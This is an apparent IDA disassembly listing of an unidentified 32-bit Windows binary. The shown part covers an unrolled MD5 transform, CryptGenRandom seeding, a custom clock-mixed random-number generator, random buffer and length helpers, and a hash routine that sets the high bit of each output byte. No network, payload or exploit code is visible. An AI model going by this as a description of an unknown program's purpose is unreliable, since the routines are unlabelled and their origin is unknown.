		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-72D5B376h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5C6BEh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-788E097Fh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+6D9D6122h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-21AC7F4h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5B4115BCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4BDECFA9h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-944B4B0h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-41404390h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+289B7EC6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-155ED806h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-2B10CF7Bh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4881D05h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-262B2FC7h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1924661Bh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+1FA27CF8h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3B53A99Bh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0BD6DDBCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+432AFF97h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-546BDC59h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-36C5FC7h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+655B59C3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-70F3336Eh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-100B83h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-7A7BA22Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6FA87E4Fh]


loc_41005C:				; DATA XREF: .data:off_41A8CCo
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1D31920h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5CFEBCECh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4E0811A1h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-8AC817Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-42C50DCBh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+2AD7D2BBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-14792C6Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax
		leave
		retn
sub_40F3CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410244	proc near		; CODE XREF: sub_40F3CE+Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_410263
; ---------------------------------------------------------------------------


loc_410253:				; CODE XREF: sub_410244+66j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_410263:				; CODE XREF: sub_410244+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_4102AC
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+1]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+2]
		shl	ecx, 10h
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+3]
		shl	ecx, 18h
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		jmp	short loc_410253
; ---------------------------------------------------------------------------

locret_4102AC:				; CODE XREF: sub_410244+25j
		leave
		retn
sub_410244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102AE	proc near		; CODE XREF: .data:004168D0p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0F0000000h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_417024	; CryptAcquireContextA
		push	offset dword_41EADC
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAE0
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAE4
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAE8
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	0
		push	[ebp+var_4]
		call	dword_41701C	; CryptReleaseContext
		leave
		retn
sub_4102AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410318	proc near		; CODE XREF: sub_4103F5+6p
					; sub_410422+6p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		lock xadd dword_41EADC,	eax
		add	eax, ebx
		lock xadd dword_41EAE0,	eax
		add	eax, ecx
		lock xadd dword_41EAE4,	eax
		add	eax, edx
		lock xadd dword_41EAE8,	eax
		add	eax, esi
		lock xadd dword_41EADC,	eax
		add	eax, edi
		lock xadd dword_41EAE0,	eax
		add	eax, ebp
		lock xadd dword_41EAE4,	eax
		add	eax, esp
		lock xadd dword_41EAE8,	eax
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lock xadd dword_41EADC,	eax
		lock xadd dword_41EAE0,	eax
		lock xadd dword_41EAE4,	eax
		lock xadd dword_41EAE8,	eax
		add	ecx, ebx
		ror	ebx, cl
		lock xadd dword_41EAE4,	ebx
		add	ecx, ecx
		ror	ecx, cl
		lock xadd dword_41EAE0,	ecx
		add	ecx, edx
		ror	edx, cl
		lock xadd dword_41EADC,	edx
		rol	eax, cl
		add	ecx, eax
		ror	ebx, cl
		add	ecx, ebx
		ror	ecx, cl
		add	ecx, 211h
		rol	edx, cl
		add	ecx, edx
		lock xadd dword_41EAE8,	edx
		lock xadd dword_41EAE4,	ecx
		lock xadd dword_41EAE0,	ebx
		lock xadd dword_41EADC,	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103F5	proc near		; CODE XREF: sub_4020C2+10Bp
					; sub_4040E8+2Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAE8,	eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_0]
		xor	edx, edx
		inc	ecx
		div	ecx
		mov	eax, edx
		add	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4103F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410422	proc near		; CODE XREF: sub_40CF2F:loc_40CFBCp
					; sub_40D871+D3Fp ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAE8,	eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41043F	proc near		; CODE XREF: sub_4055E5+715p
					; sub_4055E5+78Bp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAE4,	eax
		and	eax, 0FFFFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41043F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410461	proc near		; CODE XREF: sub_4104A3+42p
					; sub_4125DF:loc_4126B8p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAE0,	eax
		and	eax, 0FFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410461	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410483	proc near		; CODE XREF: sub_4055E5+72Bp
					; sub_40D7E5+57p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EADC,	eax
		and	eax, 1
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104A3	proc near		; CODE XREF: sub_40A9CF+D4Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_4104AF
		jmp	short locret_4104FF
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_4104A3+8j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4104B5:				; CODE XREF: sub_4104A3+34j
		cmp	[ebp+arg_4], 3
		jbe	short loc_4104D9
		call	sub_410422
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		jmp	short loc_4104B5
; ---------------------------------------------------------------------------


loc_4104D9:				; CODE XREF: sub_4104A3+16j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax


loc_4104DF:				; CODE XREF: sub_4104A3+5Aj
		cmp	[ebp+arg_4], 0
		jbe	short locret_4104FF
		call	sub_410461
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_4104DF
; ---------------------------------------------------------------------------

locret_4104FF:				; CODE XREF: sub_4104A3+Aj
					; sub_4104A3+40j
		leave
		retn
sub_4104A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410501	proc near		; CODE XREF: sub_403260+36p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_410510
		xor	eax, eax
		jmp	short locret_41055D
; ---------------------------------------------------------------------------


loc_410510:				; CODE XREF: sub_410501+9j
		cmp	[ebp+arg_10], 0
		jnz	short loc_41051C
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_10], eax


loc_41051C:				; CODE XREF: sub_410501+13j
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax


loc_410532:				; CODE XREF: sub_410501+57j
		cmp	[ebp+var_4], 0
		jbe	short loc_41055A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		jmp	short loc_410532
; ---------------------------------------------------------------------------


loc_41055A:				; CODE XREF: sub_410501+35j
		mov	eax, [ebp+var_8]

locret_41055D:				; CODE XREF: sub_410501+Dj
		leave
		retn
sub_410501	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41055F	proc near		; CODE XREF: .data:004168E1p

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EAF0
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, byte_41EAF0
		mov	edi, esi
		push	10h
		pop	ecx


loc_41059F:				; CODE XREF: sub_41055F+47j
		lodsb
		or	eax, 80h
		stosb
		loop	loc_41059F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41055F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105AD	proc near		; CODE XREF: sub_406E8E+C6p
					; sub_406E8E+14Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

